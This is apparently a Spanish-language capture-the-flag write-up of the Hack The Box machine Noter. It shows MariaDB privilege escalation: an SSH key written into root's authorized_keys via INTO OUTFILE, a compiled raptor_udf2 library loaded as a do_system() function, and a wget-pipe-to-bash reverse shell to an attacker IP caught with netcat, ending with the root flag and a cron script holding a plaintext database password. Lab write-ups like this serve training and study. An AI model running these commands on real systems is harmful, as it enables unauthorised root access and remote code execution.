MariaDB [(none)]> SELECT 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC/kmriBBdSTD8rd7ZWhQ/7gedJ+kCyBPyLcfLCukSwh6fXpvo4greAH02kZ4/jsfN87n39lKfLvHEcYmhTfuVyWApNYwMh4amPO7ej5MKo/P23ltpXSXwh8VSSxTA411Xxkd8jqwTX69QD0Y28vtNsDNU0vcnJQWB+OBhJWdui4b8nvIYuwuLi2pEhEdm1KUB2nLEI4KCtc/Kp8yZtxCV8605jJLQ2GtA88zC9TpovVIezXQy1rjwArgQaFbaV54orZOAklBbHJwm7DmozDZEFS/b5xI+8ydLLYHLPcYxgrU/anqtv7MudygBQ4TK8jCt4oQy/P7SbmYOkKaVbvPaZk0i8CquZ1ZNQzHH9/khAzUNfSBKSxVxBuouDUhQ6D0qWI7O9Ze/k072BqDexcJWnB9Vb4/hRACoiiThvYODLqfgkP5wkVjm6zDUvpygObsya9BJwIU/98lZJUvoakLedEZWjrPILZYuprMkJzvwq+Ld3mNwkkgX7OdUWi47m60E= svc@noter' INTO OUTFILE '/root/.ssh/authorized_keys';
wkkgX7OdUWi47m60E= svc@noter' INTO OUTFILE '/root/.ssh/authorized_keys';wq+Ld3mN
ERROR 1086 (HY000): File '/root/.ssh/authorized_keys' already exists
MariaDB [(none)]>

User-Defined Functions

Multiples post (1,2,3, 4, 5) definen las User-Defined Functions como una forma para escalar privilegios, agregando o creando estas funciones a MySQL las cuales utilizan codigo externo. Para ello se deben de cumplir algunos requisitos.

  • MySQL en ejecución como root.
  • Acceso como ‘root’ a MySQL.
  • Variable secure_file_priv debe de estar desactivada, lo que permitiría importar o exportar información.

En este caso asumimos que MySQL está corriendo como root, ya que es posible acceder a archivos como /etc/shadow, /root/root.txt, /root/.ssh/authorized_keys (archivo vacio). El segundo requisito se cumple ya que tenemos acceso como root con las credenciales encontradas en el backup. Finalmente podemos obtener el valor de secure_file_priv el cual está vacio lo que significa que tenemos permitido importar o exportar.

1
2
3
4
5
6
7
8
9
MariaDB [(none)]> SHOW VARIABLES LIKE 'secure_file_priv';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
1 row in set (0.003 sec)

MariaDB [(none)]>

Creamos una UDF Function siguiendo los pasos de este post. Descargamos y compilamos la libreria compartida.

1
2
3
4
5
6
7
svc@noter:~/mysql$ ls
raptor_udf2.c
svc@noter:~/mysql$ gcc -g -c raptor_udf2.c
svc@noter:~/mysql$ gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
svc@noter:~/mysql$ ls
raptor_udf2.c  raptor_udf2.o  raptor_udf2.so
svc@noter:~/mysql$

Utilizamos la base de datos mysql donde vemos el directorio de la variable plugin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
MariaDB [(none)]> use mysql;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MariaDB [mysql]> show variables like '%plugin%';
+-----------------+---------------------------------------------+
| Variable_name   | Value                                       |
+-----------------+---------------------------------------------+
| plugin_dir      | /usr/lib/x86_64-linux-gnu/mariadb19/plugin/ |
| plugin_maturity | gamma                                       |
+-----------------+---------------------------------------------+
2 rows in set (0.002 sec)

MariaDB [mysql]>

Se crea una tabla donde se guarda el contenido de la libreria para luego crear el archivo de la UDF en el directorio de la variable anterior. Finalmente se crea la función do_system(). Se verifica que dicha función fue creada.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
MariaDB [mysql]> create table foo(line blob);
Query OK, 0 rows affected (0.008 sec)

MariaDB [mysql]> insert into foo values(load_file('/home/svc/mysql/raptor_udf2.so'));
Query OK, 1 row affected (0.003 sec)

MariaDB [mysql]> select * from foo into dumpfile '/usr/lib/x86_64-linux-gnu/mariadb19/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.001 sec)

MariaDB [mysql]> create function do_system returns integer soname 'raptor_udf2.so';
Query OK, 0 rows affected (0.001 sec)

MariaDB [mysql]> select * from mysql.func;
+-----------+-----+----------------+----------+
| name      | ret | dl             | type     |
+-----------+-----+----------------+----------+
| do_system |   2 | raptor_udf2.so | function |
+-----------+-----+----------------+----------+
1 row in set (0.000 sec)

MariaDB [mysql]>

Finalmente ejecutamos una shell inversa utilizando la funcion junto con shells.

1
MariaDB [mysql]> select do_system('wget -qO- 10.10.14.207:8080/10.10.14.207:1335|bash');

Obtuvimos una shell como root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
 π ~/htb/noter ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.207] from 10.10.11.160 [10.10.11.160] 42314
/bin/sh: 0: can't access tty; job control turned off
# python -c 'import pty;pty.spawn("/bin/bash");'
root@noter:/var/lib/mysql# whoami;id
root
uid=0(root) gid=0(root) groups=0(root)
root@noter:/var/lib/mysql# cd /root
root@noter:/root# ls
root.txt  scripts
root@noter:/root# cat root.txt
312ec65653c3d61c2fc948e8ab89d969
root@noter:/root#

Observamos que MySQL está corriendo como root.

1
2
3
4
5
6
7
root@noter:/root# ps -ef|grep mysql
root        1060       1  0 02:01 ?        00:00:00 /bin/sh /usr/bin/mysqld_safe
root        1177    1060  0 02:01 ?        00:00:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/x86_64-linux-gnu/mariadb19/plugin --user=root --skip-log-error --pid-file=/run/mysqld/mysqld.pid --socket=/var/run/mysqld/mysqld.sock
root        1178    1060  0 02:01 ?        00:00:00 logger -t mysqld -p daemon error
svc         6346    1684  0 02:40 pts/0    00:00:00 mysql -u root -p
root        7308    6554  0 02:48 pts/1    00:00:00 grep mysql
root@noter:/root#

Cronjobs

Como usuario root encontramos dos cronjobs, el primero restaura a su estado inicial la base de datos de la aplicación Noter.

1
2
3
4
5
root@noter:/root# crontab -l
# m h  dom mon dow   command
0 */3 * * * /root/scripts/cleanup.py
*/4 * * * * /root/scripts/reset_mysql.sh
root@noter:/root#

El segundo realiza lo mismo con la base de datos mysql, además elimina cualquier plugin/libreria en el directorio de MySQL y PDFs creados por Noter.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
root@noter:/root# cat /root/scripts/reset_mysql.sh
#!/bin/bash

rm -r /usr/lib/x86_64-linux-gnu/mariadb19/plugin/* 2>/dev/null
rm -r /home/svc/app/web/misc/attachments/* 2>/dev/null

mysql -u root -pNildogg36 -e "DROP database mysql"
mysql -u root -pNildogg36 -e "CREATE database mysql"
mysql -u root -pNildogg36 mysql < /root/scripts/mysql_backup.sql
mysql -u root -pNildogg36 -e 'truncate mysql.func'
mysql -u root -pNildogg36 mysql -e "drop function do_system" 2>/dev/null

root@noter:/root#
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe